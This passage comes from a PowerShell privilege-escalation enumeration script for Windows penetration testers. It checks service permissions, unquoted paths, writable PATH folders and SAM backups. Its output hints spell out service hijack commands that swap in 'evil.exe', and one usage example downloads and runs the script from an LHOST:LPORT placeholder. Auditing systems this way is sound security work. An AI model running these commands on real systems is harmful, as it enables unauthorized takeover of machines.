4603 $RunningProcess | Add-Member -MemberType "NoteProperty" -Name "SessionId" -Value $Process.SessionId
4604 $RunningProcess
4605 }
4606
4607 } else {
4608 Write-Verbose "Ignored: $($Process.Name)"
4609 }
4610 }
4611}
4612# ----------------------------------------------------------------
4613# END INSTALLED PROGRAMS
4614# ----------------------------------------------------------------
4615
4616
4617# ----------------------------------------------------------------
4618# BEGIN SERVICES
4619# ----------------------------------------------------------------
4620function Test-ServiceDaclPermission {
4621 <#
4622 .SYNOPSIS
4623
4624 Tests one or more passed services or service names against a given permission set,
4625 returning the service objects where the current user have the specified permissions.
4626
4627 Author: @harmj0y, Matthew Graeber (@mattifestation)
4628 License: BSD 3-Clause
4629
4630 .DESCRIPTION
4631
4632 Takes a service Name or a ServiceProcess.ServiceController on the pipeline, and first adds
4633 a service Dacl to the service object with Add-ServiceDacl. All group SIDs for the current
4634 user are enumerated services where the user has some type of permission are filtered. The
4635 services are then filtered against a specified set of permissions, and services where the
4636 current user have the specified permissions are returned.
4637
4638 .PARAMETER Name
4639
4640 An array of one or more service names to test against the specified permission set.
4641
4642 .PARAMETER Permissions
4643
4644 A manual set of permission to test again. One of:'QueryConfig', 'ChangeConfig', 'QueryStatus',
4645 'EnumerateDependents', 'Start', 'Stop', 'PauseContinue', 'Interrogate', UserDefinedControl',
4646 'Delete', 'ReadControl', 'WriteDac', 'WriteOwner', 'Synchronize', 'AccessSystemSecurity',
4647 'GenericAll', 'GenericExecute', 'GenericWrite', 'GenericRead', 'AllAccess'
4648
4649 .PARAMETER PermissionSet
4650
4651 A pre-defined permission set to test a specified service against. 'ChangeConfig', 'Restart', or 'AllAccess'.
4652
4653 .OUTPUTS
4654
4655 ServiceProcess.ServiceController
4656
4657 .EXAMPLE
4658
4659 PS C:\> Get-Service | Test-ServiceDaclPermission
4660
4661 Return all service objects where the current user can modify the service configuration.
4662
4663 .EXAMPLE
4664
4665 PS C:\> Get-Service | Test-ServiceDaclPermission -PermissionSet 'Restart'
4666
4667 Return all service objects that the current user can restart.
4668
4669
4670 .EXAMPLE
4671
4672 PS C:\> Test-ServiceDaclPermission -Permissions 'Start' -Name 'VulnSVC'
4673
4674 Return the VulnSVC object if the current user has start permissions.
4675
4676 .LINK
4677 https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/
4678 #>
4679 [OutputType('ServiceProcess.ServiceController')]
4680 param (
4681 [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
4682 [Alias('ServiceName')]
4683 [String[]]
4684 [ValidateNotNullOrEmpty()]
4685 $Name,
4686
4687 [String[]]
4688 [ValidateSet('QueryConfig', 'ChangeConfig', 'QueryStatus', 'EnumerateDependents', 'Start', 'Stop', 'PauseContinue', 'Interrogate', 'UserDefinedControl', 'Delete', 'ReadControl', 'WriteDac', 'WriteOwner', 'Synchronize', 'AccessSystemSecurity', 'GenericAll', 'GenericExecute', 'GenericWrite', 'GenericRead', 'AllAccess')]
4689 $Permissions,
4690
4691 [String]
4692 [ValidateSet('ChangeConfig', 'Restart', 'AllAccess')]
4693 $PermissionSet = 'ChangeConfig'
4694 )
4695
4696 BEGIN {
4697 $AccessMask = @{
4698 'QueryConfig' = [uint32]'0x00000001'
4699 'ChangeConfig' = [uint32]'0x00000002'
4700 'QueryStatus' = [uint32]'0x00000004'
4701 'EnumerateDependents' = [uint32]'0x00000008'
4702 'Start' = [uint32]'0x00000010'
4703 'Stop' = [uint32]'0x00000020'
4704 'PauseContinue' = [uint32]'0x00000040'
4705 'Interrogate' = [uint32]'0x00000080'
4706 'UserDefinedControl' = [uint32]'0x00000100'
4707 'Delete' = [uint32]'0x00010000'
4708 'ReadControl' = [uint32]'0x00020000'
4709 'WriteDac' = [uint32]'0x00040000'
4710 'WriteOwner' = [uint32]'0x00080000'
4711 'Synchronize' = [uint32]'0x00100000'
4712 'AccessSystemSecurity' = [uint32]'0x01000000'
4713 'GenericAll' = [uint32]'0x10000000'
4714 'GenericExecute' = [uint32]'0x20000000'
4715 'GenericWrite' = [uint32]'0x40000000'
4716 'GenericRead' = [uint32]'0x80000000'
4717 'AllAccess' = [uint32]'0x000F01FF'
4718 }
4719
4720 $CheckAllPermissionsInSet = $False
4721
4722 if($PSBoundParameters['Permissions']) {
4723 $TargetPermissions = $Permissions
4724 }
4725 else {
4726 if($PermissionSet -eq 'ChangeConfig') {
4727 $TargetPermissions = @('ChangeConfig', 'WriteDac', 'WriteOwner', 'GenericAll', ' GenericWrite', 'AllAccess')
4728 }
4729 elseif($PermissionSet -eq 'Restart') {
4730 $TargetPermissions = @('Start', 'Stop')
4731 $CheckAllPermissionsInSet = $True # so we check all permissions && style
4732 }
4733 elseif($PermissionSet -eq 'AllAccess') {
4734 $TargetPermissions = @('GenericAll', 'AllAccess')
4735 }
4736 }
4737 }
4738
4739 PROCESS {
4740
4741 ForEach($IndividualService in $Name) {
4742
4743 $TargetService = $IndividualService | Add-ServiceDacl
4744
4745 # We might not be able to access the Service at all so we must check whether Add-ServiceDacl returned something.
4746 if ($TargetService -and $TargetService.Dacl) {
4747
4748 # Enumerate all group SIDs the current user is a part of
4749 $UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent()
4750 $CurrentUserSids = $UserIdentity.Groups | Select-Object -ExpandProperty Value
4751 $CurrentUserSids += $UserIdentity.User.Value
4752
4753 # Check all the Dacl objects of the current service
4754 ForEach($ServiceDacl in $TargetService.Dacl) {
4755
4756 $MatchingDaclFound = $False
4757
4758 # A Dacl object contains two properties we want to check: a SID and a list of AccessRights
4759 # First, we want to check if the current Dacl SID is in the list of SIDs of the current user
4760 if($CurrentUserSids -contains $ServiceDacl.SecurityIdentifier) {
4761
4762 if($CheckAllPermissionsInSet) {
4763
4764 # If a Permission Set was specified, we want to make sure that we have all the necessary access rights
4765 $AllMatched = $True
4766 ForEach($TargetPermission in $TargetPermissions) {
4767 # check permissions && style
4768 if (($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -ne $AccessMask[$TargetPermission]) {
4769 # Write-Verbose "Current user doesn't have '$TargetPermission' for $($TargetService.Name)"
4770 $AllMatched = $False
4771 break
4772 }
4773 }
4774 if($AllMatched) {
4775 $TargetService
4776 $MatchingDaclFound = $True
4777 }
4778 } else {
4779
4780 ForEach($TargetPermission in $TargetPermissions) {
4781 # check permissions || style
4782 if (($ServiceDacl.AceType -eq 'AccessAllowed') -and ($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -eq $AccessMask[$TargetPermission]) {
4783 Write-Verbose "Current user has '$TargetPermission' permission for $IndividualService"
4784 $TargetService
4785 $MatchingDaclFound = $True
4786 break
4787 }
4788 }
4789 }
4790 }
4791
4792 if ($MatchingDaclFound) {
4793 # As soon as we find a matching Dacl, we can stop searching
4794 break
4795 }
4796 }
4797 } else {
4798 Write-Verbose "Error enumerating the Dacl for service $IndividualService"
4799 }
4800 }
4801 }
4802}
4803
4804function Invoke-InstalledServicesCheck {
4805 <#
4806 .SYNOPSIS
4807
4808 Enumerates non-default services
4809
4810 Author: @itm4n
4811 License: BSD 3-Clause
4812
4813 .DESCRIPTION
4814
4815 It uses the custom "Get-ServiceList" function to get a filtered list of services that are
4816 configured on the local machine. Then it returns each result in a custom PS object,
4817 indicating the name, display name, binary path, user and start mode of the service.
4818
4819 .EXAMPLE
4820
4821 PS C:\> Invoke-InstalledServicesCheck | ft
4822
4823 Name DisplayName ImagePath User StartMode
4824 ---- ----------- --------- ---- ---------
4825 VMTools VMware Tools "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" LocalSystem Automatic
4826
4827 #>
4828
4829 [CmdletBinding()] param()
4830
4831 $InstalledServicesResult = New-Object -TypeName System.Collections.ArrayList
4832
4833 # Get only third-party services
4834 $FilteredServices = Get-ServiceList -FilterLevel 3
4835
4836 ForEach ($Service in $FilteredServices) {
4837 # Make a simplified version of the Service object, we only basic information for ths check.
4838 $ServiceItem = New-Object -TypeName PSObject
4839 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $Service.Name
4840 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "DisplayName" -Value $Service.DisplayName
4841 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "ImagePath" -Value $Service.ImagePath
4842 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "User" -Value $Service.User
4843 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "StartMode" -Value $Service.StartMode
4844 #$ServiceItem | Add-Member -MemberType "NoteProperty" -Name "Type" -Value $Service.Type
4845 [void]$InstalledServicesResult.Add($ServiceItem)
4846 }
4847
4848 $InstalledServicesResult
4849}
4850
4851function Invoke-ServicesPermissionsRegistryCheck {
4852 <#
4853 .SYNOPSIS
4854
4855 Checks the permissions of the service settings in the registry
4856
4857 Author: @itm4n
4858 License: BSD 3-Clause
4859
4860 .DESCRIPTION
4861
4862 The configuration of the services is maintained in the registry. Being able to modify these
4863 registry keys means being able to change the settings of a service. In addition, a complete
4864 machine reboot isn't necessary for these settings to be taken into account. Only the affected
4865 service needs to be restarted.
4866
4867 .EXAMPLE
4868
4869 PS C:\> Invoke-ServicesPermissionsRegistryCheck
4870
4871 Name : VulnService
4872 ImagePath : C:\APPS\MyApp\service.exe
4873 User : LocalSystem
4874 ModifiablePath : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VulnService}
4875 IdentityReference : BUILTIN\Users
4876 Permissions : {WriteOwner, Delete, ReadControl, ReadData/ListDirectory...}
4877 Status : Unknown
4878 UserCanStart : False
4879 UserCanRestart : False
4880
4881 #>
4882
4883 [CmdletBinding()] param()
4884
4885 # Get all services except the ones with an empty ImagePath or Drivers
4886 $AllServices = Get-ServiceList -FilterLevel 2
4887
4888 ForEach ($Service in $AllServices) {
4889
4890 Get-ModifiableRegistryPath -Path $Service.RegistryPath | Where-Object {$_ -and $_.ModifiablePath -and ($_.ModifiablePath -ne '')} | Foreach-Object {
4891
4892 $Status = "Unknown"
4893 # Can we restart the service?
4894 $ServiceRestart = Test-ServiceDaclPermission -Name $Service.Name -PermissionSet 'Restart'
4895 if ($ServiceRestart) { $UserCanRestart = $True; $Status = $ServiceRestart.Status } else { $UserCanRestart = $False }
4896
4897 # Can we start the service?
4898 $ServiceStart = Test-ServiceDaclPermission -Name $Service.Name -Permissions 'Start'
4899 if ($ServiceStart) { $UserCanStart = $True; $Status = $ServiceStart.Status } else { $UserCanStart = $False }
4900
4901 $ServiceItem = New-Object -TypeName PSObject
4902 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $Service.Name
4903 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "ImagePath" -Value $Service.ImagePath
4904 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "User" -Value $Service.User
4905 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "ModifiablePath" -Value $_.ModifiablePath
4906 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "IdentityReference" -Value $_.IdentityReference
4907 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "Permissions" -Value $_.Permissions
4908 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "Status" -Value $Status
4909 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "UserCanStart" -Value $UserCanStart
4910 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "UserCanRestart" -Value $UserCanRestart
4911 $ServiceItem
4912 }
4913 }
4914}
4915
4916function Invoke-ServicesUnquotedPathCheck {
4917 <#
4918 .SYNOPSIS
4919
4920 Enumerates all the services with an unquoted path. For each one of them, enumerates paths that
4921 the current user can modify. Based on the original "Get-ServiceUnquoted" function from
4922 PowerUp.
4923
4924 Author: @itm4n
4925 License: BSD 3-Clause
4926
4927 .DESCRIPTION
4928
4929 In my version of this function, I tried to eliminate as much false positives as possible.
4930 PowerUp tends to report "C:\" as exploitable whenever a program located in "C:\Program
4931 Files" is identified. The problem is that we cannot write "C:\program.exe" so the service
4932 wouldn't be exploitable. We can only create folders in "C:\" by default.
4933
4934 .EXAMPLE
4935
4936 PS C:\> Invoke-ServicesUnquotedPathCheck
4937
4938 Name : VulnService
4939 ImagePath : C:\APPS\My App\service.exe
4940 User : LocalSystem
4941 ModifiablePath : C:\APPS
4942 IdentityReference : NT AUTHORITY\Authenticated Users
4943 Permissions : {Delete, WriteAttributes, Synchronize, ReadControl...}
4944 Status : Unknown
4945 UserCanStart : False
4946 UserCanRestart : False
4947
4948 #>
4949
4950 [CmdletBinding()] param()
4951
4952 # Get all services which have a non-empty ImagePath
4953 $Services = Get-ServiceList -FilterLevel 1
4954
4955 $PermissionsAddFile = @("WriteData/AddFile", "DeleteChild", "WriteDAC", "WriteOwner")
4956 $PermissionsAddFolder = @("AppendData/AddSubdirectory", "DeleteChild", "WriteDAC", "WriteOwner")
4957
4958 ForEach ($Service in $Services) {
4959 $ImagePath = $Service.ImagePath.trim()
4960
4961 # If the ImagePath doesn't start with a " or a '
4962 if (-not ($ImagePath.StartsWith("`"") -or $ImagePath.StartsWith("'"))) {
4963
4964 # Extract the binpath from the ImagePath
4965 $BinPath = $ImagePath.SubString(0, $ImagePath.ToLower().IndexOf(".exe") + 4)
4966
4967 # If the binpath contains spaces
4968 If ($BinPath -match ".* .*") {
4969 $ModifiableFiles = $BinPath.split(' ') | Get-ModifiablePath
4970
4971 $ModifiableFiles | Where-Object {$_ -and $_.ModifiablePath -and ($_.ModifiablePath -ne '')} | Foreach-Object {
4972
4973 $TempPath = $([System.Environment]::ExpandEnvironmentVariables($BinPath))
4974 $TempPath = Split-Path -Path $TempPath -Parent
4975 while ($TempPath)
4976 {
4977 try {
4978 $ParentPath = Split-Path -Path $TempPath -Parent
4979 if ($ParentPath -eq $_.ModifiablePath) {
4980 $PermissionsSet = $Null
4981 if (Test-Path -Path $TempPath -ErrorAction SilentlyContinue) {
4982 # If the current folder exists, can we create files in it?
4983 #"Folder $($TempPath) exists, can we create files in $($ParentPath)???"
4984 $PermissionsSet = $PermissionsAddFile
4985 } else {
4986 # The current folder doesn't exist, can we create it?
4987 #"Folder $($TempPath) doesn't exist, can we create the folder $($ParentPath)???"
4988 $PermissionsSet = $PermissionsAddFolder
4989 }
4990 ForEach ($Permission in $_.Permissions) {
4991 if ($PermissionsSet -contains $Permission) {
4992
4993 $Status = "Unknown"
4994 # Can we restart the service?
4995 $ServiceRestart = Test-ServiceDaclPermission -Name $Service.Name -PermissionSet 'Restart'
4996 if ($ServiceRestart) { $UserCanRestart = $True; $Status = $ServiceRestart.Status } else { $UserCanRestart = $False }
4997
4998 # Can we start the service?
4999 $ServiceStart = Test-ServiceDaclPermission -Name $Service.Name -Permissions 'Start'
5000 if ($ServiceStart) { $UserCanStart = $True; $Status = $ServiceStart.Status } else { $UserCanStart = $False }
5001
5002 $ServiceItem = New-Object -TypeName PSObject
5003 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $Service.Name
5004 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "ImagePath" -Value $Service.ImagePath
5005 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "User" -Value $Service.User
5006 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "ModifiablePath" -Value $_.ModifiablePath
5007 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "IdentityReference" -Value $_.IdentityReference
5008 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "Permissions" -Value $_.Permissions
5009 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "Status" -Value $Status
5010 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "UserCanStart" -Value $UserCanStart
5011 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "UserCanRestart" -Value $UserCanRestart
5012 $ServiceItem
5013
5014 break
5015 }
5016 }
5017 # We found the path returned by Get-ModifiablePath so we can exit the while loop
5018 break
5019 }
5020 } catch {
5021 # because Split-Path doesn't handle -ErrorAction SilentlyContinue nicely
5022 # exit safely to avoid an infinite loop
5023 break
5024 }
5025 $TempPath = $ParentPath
5026 }
5027 }
5028 }
5029 }
5030 }
5031}
5032
5033function Invoke-ServicesImagePermissionsCheck {
5034 <#
5035 .SYNOPSIS
5036
5037 Enumerates all the services that have a modifiable binary (or argument)
5038
5039 Author: @itm4n
5040 License: BSD 3-Clause
5041
5042 .DESCRIPTION
5043
5044 FIrst, it enumerates the services thanks to the custom "Get-ServiceList" function. For each
5045 result, it checks the permissions of the ImagePath setting thanks to the "Get-ModifiablePath"
5046 function. Each result is returned in a custom PS object.
5047
5048 .EXAMPLE
5049
5050 PS C:\> Invoke-ServicesImagePermissionsCheck
5051
5052 Name : VulneService
5053 ImagePath : C:\APPS\service.exe
5054 User : LocalSystem
5055 ModifiablePath : C:\APPS\service.exe
5056 IdentityReference : NT AUTHORITY\Authenticated Users
5057 Permissions : {Delete, WriteAttributes, Synchronize, ReadControl...}
5058 Status : Unknown
5059 UserCanStart : False
5060 UserCanRestart : False
5061
5062 #>
5063
5064 [CmdletBinding()] param()
5065
5066 $Services = Get-ServiceList -FilterLevel 1
5067
5068 ForEach ($Service in $Services) {
5069
5070 $Service.ImagePath | Get-ModifiablePath | Where-Object {$_ -and $_.ModifiablePath -and ($_.ModifiablePath -ne '')} | Foreach-Object {
5071
5072 $Status = "Unknown"
5073 # Can we restart the service?
5074 $ServiceRestart = Test-ServiceDaclPermission -Name $Service.Name -PermissionSet 'Restart'
5075 if ($ServiceRestart) { $UserCanRestart = $True; $Status = $ServiceRestart.Status } else { $UserCanRestart = $False }
5076
5077 # Can we start the service?
5078 $ServiceStart = Test-ServiceDaclPermission -Name $Service.Name -Permissions 'Start'
5079 if ($ServiceStart) { $UserCanStart = $True; $Status = $ServiceStart.Status } else { $UserCanStart = $False }
5080
5081 $ServiceItem = New-Object -TypeName PSObject
5082 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $Service.Name
5083 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "ImagePath" -Value $Service.ImagePath
5084 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "User" -Value $Service.User
5085 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "ModifiablePath" -Value $_.ModifiablePath
5086 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "IdentityReference" -Value $_.IdentityReference
5087 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "Permissions" -Value $_.Permissions
5088 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "Status" -Value $Status
5089 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "UserCanStart" -Value $UserCanStart
5090 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "UserCanRestart" -Value $UserCanRestart
5091 $ServiceItem
5092 }
5093 }
5094}
5095
5096function Invoke-ServicesPermissionsCheck {
5097 <#
5098 .SYNOPSIS
5099
5100 Enumerates the services the current can modify through the service manager. In addition, it
5101 shows whether the service can be started/restarted.
5102
5103 Author: @itm4n
5104 License: BSD 3-Clause
5105
5106 .DESCRIPTION
5107
5108 This is based on the original "Get-ModifiableService" from PowerUp.
5109
5110 .LINK
5111
5112 https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
5113
5114 #>
5115
5116 [CmdletBinding()] param()
5117
5118 # Get-ServiceList returns a list of custom Service objects
5119 # The properties of a custom Service object are: Name, DisplayName, User, ImagePath, StartMode, Type, RegsitryKey, RegistryPath
5120 # We also apply the FilterLevel 1 to filter out services which have an empty ImagePath
5121 $Services = Get-ServiceList -FilterLevel 1
5122
5123 # For each custom Service object in the list
5124 ForEach ($Service in $Services) {
5125
5126 # Get a 'real' Service object and the associated DACL, based on its name
5127 $TargetService = Test-ServiceDaclPermission -Name $Service.Name -PermissionSet 'ChangeConfig'
5128
5129 if ($TargetService) {
5130
5131 $ServiceRestart = Test-ServiceDaclPermission -Name $Service.Name -PermissionSet 'Restart'
5132 if ($ServiceRestart) { $UserCanRestart = $True } else { $UserCanRestart = $False }
5133
5134 $ServiceStart = Test-ServiceDaclPermission -Name $Service.Name -Permissions 'Start'
5135 if ($ServiceStart) { $UserCanStart = $True } else { $UserCanStart = $False }
5136
5137 $ServiceItem = New-Object -TypeName PSObject
5138 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $Service.Name
5139 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "ImagePath" -Value $Service.ImagePath
5140 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "User" -Value $Service.User
5141 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "Status" -Value $TargetService.Status
5142 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "UserCanStart" -Value $UserCanStart
5143 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "UserCanRestart" -Value $UserCanRestart
5144 $ServiceItem
5145 }
5146 }
5147}
5148# ----------------------------------------------------------------
5149# END SERVICES
5150# ----------------------------------------------------------------
5151
5152# ----------------------------------------------------------------
5153# BEGIN DLL HIJACKING
5154# ----------------------------------------------------------------
5155function Invoke-DllHijackingCheck {
5156 <#
5157 .SYNOPSIS
5158
5159 Checks whether any of the system path folders is modifiable
5160
5161 Author: @itm4n
5162 License: BSD 3-Clause
5163
5164 .DESCRIPTION
5165
5166 First, it reads the system environment PATH from the registry. Then, for each entry, it checks
5167 whether the current user has write permissions.
5168
5169 #>
5170
5171 [CmdletBinding()] param()
5172
5173 $SystemPath = (Get-ItemProperty -Path "Registry::HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" -Name "Path").Path
5174 $Paths = $SystemPath.Split(';')
5175
5176 ForEach ($Path in $Paths) {
5177 if ($Path -and $Path -ne '') {
5178 $Path | Get-ModifiablePath -LiteralPaths | Where-Object {$_ -and $_.ModifiablePath -and ($_.ModifiablePath -ne '')} | Foreach-Object {
5179 $_
5180 }
5181 }
5182 }
5183}
5184# ----------------------------------------------------------------
5185# END DLL HIJACKING
5186# ----------------------------------------------------------------
5187#endregion Checks
5188
5189# ----------------------------------------------------------------
5190# Main
5191# ----------------------------------------------------------------
5192#region Main
5193function Invoke-PrivescCheck {
5194 <#
5195 .SYNOPSIS
5196
5197 Enumerates common security misconfigurations that can be exploited of privilege escalation
5198 pourposes.
5199
5200 Author: @itm4n
5201 License: BSD 3-Clause
5202
5203 .DESCRIPTION
5204
5205 This script aims to identify security misconfigurations that are relevant for privilege
5206 escalation. It also provides some additional information that may help penetration testers to
5207 choose between several potential exploits. For example, if you find that a service is
5208 vulnerable to DLL hijacking but you can't restart it manually, you will find useful to know
5209 hos often the machine is rebooted (in the case of a server). If you see that it is rebooted
5210 every night for instance, you may want to attempt an exploit.
5211
5212 .EXAMPLE
5213
5214 PS C:\Temp\> . .\Invoke-PrivescCheck.ps1; Invoke-PrivescCheck
5215
5216 .EXAMPLE
5217
5218 C:\Temp\>powershell -ep bypass -c ". .\Invoke-PrivescCheck.ps1; Invoke-PrivescCheck"
5219
5220 .EXAMPLE
5221
5222 C:\Temp\>powershell "IEX (New-Object Net.WebClient).DownloadString('http://LHOST:LPORT/Invoke-P
5223 rivescCheck.ps1'; Invoke-PrivescCheck"
5224
5225 #>
5226
5227 [CmdletBinding()] param()
5228
5229 ### This check was taken from PowerUp.ps1
5230 # https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
5231 $IsAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")
5232
5233 if($IsAdmin){
5234 "[+] Current user already has local administrative privileges! Safely exiting."
5235
5236 # We don't want to continue, otherwise the script will identify almost everything as
5237 # exploitable and thus generate a loooot of output.
5238 return
5239 }
5240
5241 "----------------------------------------------------------------"
5242 "| CURRENT USER |"
5243 "----------------------------------------------------------------"
5244
5245 "TEST: whoami"
5246 "DESC: What's my username / SID?"
5247 "NOTE: 'My name is...'"
5248 $Results = Invoke-UserCheck
5249 if ($Results) {
5250 "[*] Found some info:"
5251 $Results | Format-Table -AutoSize
5252 } else {
5253 "[!] Nothing found."
5254 }
5255
5256 "`n"
5257
5258 "TEST: whoami /groups"
5259 "DESC: Do I belong to any interesting group(s)?"
5260 "NOTE: Additional groups give you additional privileges."
5261 $Results = Invoke-UserGroupsCheck
5262 if ($Results) {
5263 "[+] Found $(([object[]]$Results).Length) non-default group(s)."
5264 $Results | Format-Table -AutoSize
5265 } else {
5266 "[!] Nothing found."
5267 }
5268
5269 "`n"
5270
5271 "TEST: whoami /priv"
5272 "DESC: Do I have any interesting privilege(s)?"
5273 "NOTE: Privileges such as SeImpersonate or SeAssignPrimaryToken might allow you to run code as SYSTEM."
5274 $Results = Invoke-UserPrivilegesCheck
5275 if ($Results) {
5276 "[+] Found $(([object[]]$Results).Length) potentially interesting privilege(s)."
5277 $Results | Format-Table -AutoSize
5278 } else {
5279 "[!] Nothing found."
5280 }
5281
5282 "`n"
5283
5284 "----------------------------------------------------------------"
5285 "| SERVICES |"
5286 "----------------------------------------------------------------"
5287
5288 "TEST: Listing non-default services..."
5289 "DESC: Is there any non-default / third-party service?"
5290 "NOTE: Security holes are often caused by third-party software."
5291 $Results = Invoke-InstalledServicesCheck
5292 if (([object[]]$Results).Length -gt 0) {
5293 "[*] Found $(([object[]]$Results).Length) service(s)."
5294 $Results | Select-Object -Property Name,DisplayName | Format-Table
5295 $Results | Format-List
5296 } else {
5297 "[!] Nothing found."
5298 }
5299
5300 "`n"
5301
5302 "TEST: Checking service permissions..."
5303 "DESC: Can we modify the configuration of any service through the Service Control Manager?"
5304 "NOTE: sc.exe config VulnService binpath= C:\Temp\evil.exe"
5305 $Results = Invoke-ServicesPermissionsCheck
5306 if ($Results) {
5307 "[+] Found $(([object[]]$Results).Length) vulnerable service(s)."
5308 $Results | Format-List
5309 } else {
5310 "[!] Nothing found."
5311 }
5312
5313 "`n"
5314
5315 "TEST: Checking service permissions (registry)..."
5316 "DESC: Can we modify the configuration of any service in the Registry?"
5317 "NOTE: reg.exe add HKLM\[...]\Services\VulnService /v ImagePath /d C:\Temp\evil.exe /f"
5318 $Results = Invoke-ServicesPermissionsRegistryCheck
5319 if ($Results) {
5320 "[+] Found $(([object[]]$Results).Length) result(s)."
5321 $Results | Format-List
5322 } else {
5323 "[!] Nothing found."
5324 }
5325
5326 "`n"
5327
5328 "TEST: Checking service executable and argument permissions..."
5329 "DESC: Can we modify the executable itself or can we somehow control one of its arguments?"
5330 "NOTE: copy C:\Temp\evil.exe C:\APPS\MyCustomApp\service.exe"
5331 $Results = Invoke-ServicesImagePermissionsCheck
5332 if ($Results) {
5333 "[+] Found $(([object[]]$Results).Length) result(s)."
5334 $Results | Format-List
5335 } else {
5336 "[!] Nothing found."
5337 }
5338
5339 "`n"
5340
5341 "TEST: Checking for unquoted service paths..."
5342 "DESC: Can we hijack any service by planting a binary in one of the executable parent folders?"
5343 "NOTE: C:\APPS\Foo Bar\service.exe -> copy C:\Temp\evil.exe C:\APPS\Foo.exe"
5344 $Results = Invoke-ServicesUnquotedPathCheck
5345 if ($Results) {
5346 "[+] Found $(([object[]]$Results).Length) result(s)"
5347 $Results | Format-List
5348 } else {
5349 "[!] Nothing found."
5350 }
5351
5352 "`n"
5353
5354 "----------------------------------------------------------------"
5355 "| DLL HIJACKING |"
5356 "----------------------------------------------------------------"
5357
5358 "TEST: Checking system %PATH% for potentially hijackable DLL locations..."
5359 "DESC: Do we have write permissions in at least one of the system %PATH% folders?"
5360 "NOTE: Show me the %PATH% to DLL hijacking."
5361 $Results = Invoke-DllHijackingCheck
5362 if ($Results) {
5363 "[+] Found $(([object[]]$Results).Length) result(s)."
5364 $Results | Format-List
5365 } else {
5366 "[!] Nothing found."
5367 }
5368
5369 "`n"
5370
5371 "----------------------------------------------------------------"
5372 "| INSTALLED PROGRAMS |"
5373 "----------------------------------------------------------------"
5374
5375 "TEST: Listing non-default programs..."
5376 "DESC: Is there any non-default / third-party software we could exploit?"
5377 "NOTE: Again, security holes are often caused by third-party software."
5378 $Results = Invoke-InstalledProgramsCheck
5379 if ($Results) {
5380 "[*] Found $(([object[]]$Results).Length) non-default application(s)."
5381 $Results | Format-Table -AutoSize
5382 } else {
5383 "[!] Nothing found."
5384 }
5385
5386 "`n"
5387
5388 "TEST: Checking modifiable programs..."
5389 "DESC: Do we have write permissions in non-default application folders?"
5390 "NOTE: If so, we may compromise other user accounts by planting a malicious EXE or DLL."
5391 $Results = Invoke-ModifiableProgramsCheck
5392 if ($Results) {
5393 "[+] Found $(([object[]]$Results).Length) file(s)."
5394 $Results | Format-Table
5395 } else {
5396 "[!] Nothing found."
5397 }
5398
5399 "`n"
5400
5401 "TEST: Listing processes..."
5402 "DESC: Among the processes that are not owned by the current user, is there anything interesting?"
5403 "NOTE: In this check, typical windows processes such as 'svchost' are filtered out."
5404 $Results = Invoke-RunningProcessCheck
5405 if ($Results) {
5406 "[*] Found $(([object[]]$Results).Length) process(es)."
5407 $Results | Format-Table -AutoSize
5408 } else {
5409 "[!] Nothing found."
5410 }
5411
5412 "`n"
5413
5414 "----------------------------------------------------------------"
5415 "| CREDENTIALS |"
5416 "----------------------------------------------------------------"
5417
5418 "TEST: Checking SAM/SYSTEM files..."
5419 "DESC: Is there any backup of the SAM/SYSTEM hives we can read?"
5420 "NOTE: 'Some secrets are safer kept hidden...'"
5421 $Results = Invoke-SamBackupFilesCheck
5422 if ($Results) {
5423 "[+] Found $(([object[]]$Results).Length) readable file(s)."
5424 $Results | Format-List
5425 } else {
5426 "[!] Nothing found."
5427 }
5428
5429 "`n"
5430
5431 "TEST: Checking Unattend files..."
